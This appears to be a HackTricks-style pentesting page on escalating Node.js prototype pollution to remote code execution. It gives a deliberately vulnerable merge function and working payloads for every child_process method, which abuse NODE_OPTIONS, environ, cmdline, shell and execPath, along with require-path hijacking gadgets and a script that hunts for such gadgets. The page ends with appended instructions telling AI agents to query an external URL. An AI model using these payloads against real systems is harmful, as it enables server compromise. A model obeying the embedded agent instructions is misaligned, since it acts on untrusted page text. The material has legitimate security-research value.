# Prototype Pollution to RCE

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Vulnerable Code

Imagine a real JS using some code like the following one:

```javascript
const { execSync, fork } = require('child_process');

function isObject(obj) {
    console.log(typeof obj);
    return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
    for (let key in source) {
        if (isObject(target[key]) && isObject(source[key])) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

function clone(target) {
    return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');
```

## PP2RCE via env vars

**PP2RCE** means **Prototype Pollution to RCE** (Remote Coxe Execution).

According to this [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) when a **process is spawned** with some method from **`child_process`** (like `fork` or `spawn` or others) it calls the method `normalizeSpawnArguments` which a **prototype pollution gadget to create new env vars**:

```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
  ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
  const value = env[key];
  if (value !== undefined) {
    ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
  }
}
```

Check that code you can see it's possible en **poison `envPairs`** just by **polluting** the **attribute `.env`.**

### **Poisoning `__proto__`**

{% hint style="warning" %}
Note that due to how the **`normalizeSpawnArguments`** function from the **`child_process`** library of node works, when something is called in order to **set a new env variable** for the process you just need to **pollute anything**.\
For example, if you do `__proto__.avar="valuevar"` the process will be spawned with a var called `avar` with value `valuevar`.

However, in order for the **env variable to be the first one** you need to **pollute** the **`.env` attribute** and (only in some methods) that var will be the **first one** (allowing the attack).

That's why **`NODE_OPTIONS`** is **not inside `.env`** in the following attack.
{% endhint %}

{% code overflow="wrap" %}

```javascript
const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```

{% endcode %}

### Poisoning `constructor.prototype`

```javascript
const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2
```

## PP2RCE via env vars + cmdline

A similar payload to the previous one with some changes was proposed in [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** The main differences are:

* Instead of storing the nodejs **payload** inside the file `/proc/self/environ`, it stores it i**nside argv0** of **`/proc/self/cmdline`**.
* Then, instead of requiring via **`NODE_OPTIONS`** the file `/proc/self/environ`, it **requires `/proc/self/cmdline`**.

{% code overflow="wrap" %}

```javascript
const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```

{% endcode %}

## PP2RCE vuln child\_process functions

In this section where are going to analyse **each function from `child_process`** to execute code and see if we can use any technique to force that function to execute code:

<details>

<summary><code>exec</code> exploitation</summary>

{% code overflow="wrap" %}

```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
```

{% endcode %}

</details>

<details>

<summary><strong><code>execFile</code> exploitation</strong></summary>

```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');

// stdin trick - not working
// Not using stdin

// Windows - not working
```

For **`execFile`** to work it **MUST execute node** for the NODE\_OPTIONS to work.\
If it's **not** executing **node**, you need to find how you could **alter the execution** of whatever it's executing **with environment variables** and set them.

The **other** techniques **work** without this requirement because it's **possible to modify** **what is executed** via prototype pollution. (In this case, even if you can pollute `.shell`, you won't pollute that is being executed).

</details>

<details>

<summary><code>fork</code> exploitation</summary>

{% code overflow="wrap" %}

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
```

{% endcode %}

</details>

<details>

<summary><strong><code>spawn</code> exploitation</strong></summary>

{% code overflow="wrap" %}

```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```

{% endcode %}

</details>

<details>

<summary><strong><code>execFileSync</code> exploitation</strong></summary>

{% code overflow="wrap" %}

```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
```

{% endcode %}

</details>

<details>

<summary><strong><code>execSync</code> exploitation</strong></summary>

{% code overflow="wrap" %}

```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
```

{% endcode %}

</details>

<details>

<summary><strong><code>spawnSync</code> exploitation</strong></summary>

{% code overflow="wrap" %}

```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```

{% endcode %}

</details>

## Forcing Spawn

In the previous examples you saw how to trigger the gadget a functionality that **calls `spawn`** needs to be **present** (all methods of **`child_process`** used to execute something calls it). In the previous example that was **part of the the code**, but what if the code **isn't** calling it.

### Controlling a require file path

In this [**other writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) the user can control the file path were a **`require`** will be executed. In that scenario the attacker just needs to **find a `.js` file inside the system** that will **execute a spawn method when imported.**\
Some examples of common files calling a spawn function when imported are:

* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Find **more files below**

The following simple script will search for **calls** from **child\_process** **without any padding** (to avoid showing calls inside functions):

{% code overflow="wrap" %}

```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
    grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
```

{% endcode %}

<details>

<summary>Interesting files found by previous script</summary>

* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/npm/scripts/**changelog.js**:16:`const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)`
* node\_modules/detect-libc/bin/**detect-libc.js**:18:`process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);`
* node\_modules/jest-expo/bin/**jest.js**:26:`const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });`
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/runtypes/scripts/**format.js**:13:`const npmBinPath = execSync('npm bin').toString().trim();`
* node\_modules/node-pty/scripts/**publish.js**:31:`const result = cp.spawn('npm', args, { stdio: 'inherit' });`

</details>

### Setting require file path via prototype pollution

{% hint style="warning" %}
The **previous technique requires** that the **user controls the path of the file** that is going to be **required**. But this is not always true.
{% endhint %}

However, if the code is going to execute a require after the prototype pollution, even if you **don't control the path** that is going to be require, you **can force a different one abusing propotype pollution**. So even if the code line is like `require("./a_file.js")` or `require("bytes")` it will **require the package you polluted**.

Therefore, if a require is executed after your prototype pollution and no spawn function, this is the attack:

* Find a **`.js` file inside the system** that when **required** will **execute something using `child_process`**
  * If you can upload files to the platform you are attacking you might upload a file like that
* Pollute the paths to **force the require load of the `.js` file** that will execute something with child\_process
* **Pollute the environ/cmdline** to execute arbitrary code when a child\_process execution function is called (see the initial techniques)

#### Absolute require

If the performed require is **absolute** (`require("bytes")`) and the **package doesn't contain main** in the `package.json` file, you can **pollute the `main` attribute** and make the **require execute a different file**.

{% tabs %}
{% tab title="exploit" %}
{% code overflow="wrap" %}

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

{% endcode %}
{% endtab %}

{% tab title="malicious.js" %}

```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");
```

{% endtab %}
{% endtabs %}

#### Relative require - 1

If a **relative path** is loaded instead of an absolute path, you can make node **load a different path**:

{% tabs %}
{% tab title="exploit" %}
{% code overflow="wrap" %}

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

{% endcode %}
{% endtab %}

{% tab title="malicious.js" %}

```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```

{% endtab %}
{% endtabs %}

#### Relative require - 2

{% tabs %}
{% tab title="exploit" %}
{% code overflow="wrap" %}

```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```

{% endcode %}
{% endtab %}

{% tab title="malicious.js" %}

```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```

{% endtab %}
{% endtabs %}

## VM Gadgets

In the paper <https://arxiv.org/pdf/2207.11171.pdf> is also indicated that the control of **`contextExtensions`** from some methods of the **`vm`** library could be used as a gadget.\
However, as the previous **`child_process`** methods, it has been **fixed** in the latest versions.

## Fixes & Unexpected protections

Please, note that prototype pollution works if the **attribute** of an object that is being accessed is **undefined**. If in the **code** that **attribute** is **set** a **value** you **won't be able to overwrite it**.

In Jun 2022 from [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) the var `options` instead of a `{}` is a **`kEmptyObject`**. Which **prevents a prototype pollution** from affecting the **attributes** of **`options`** to obtain RCE.\
At least from v18.4.0 this protection has been **implemented,** and therefore the `spawn` and `spawnSync` **exploits** affecting the methods **no longer work** (if no `options` are used!).

In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to \*\*`kEmptyObject` \*\* instead of **`{}`.**

## References

* <https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>
* <https://blog.sonarsource.com/blitzjs-prototype-pollution/>
* <https://arxiv.org/pdf/2207.11171.pdf>

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
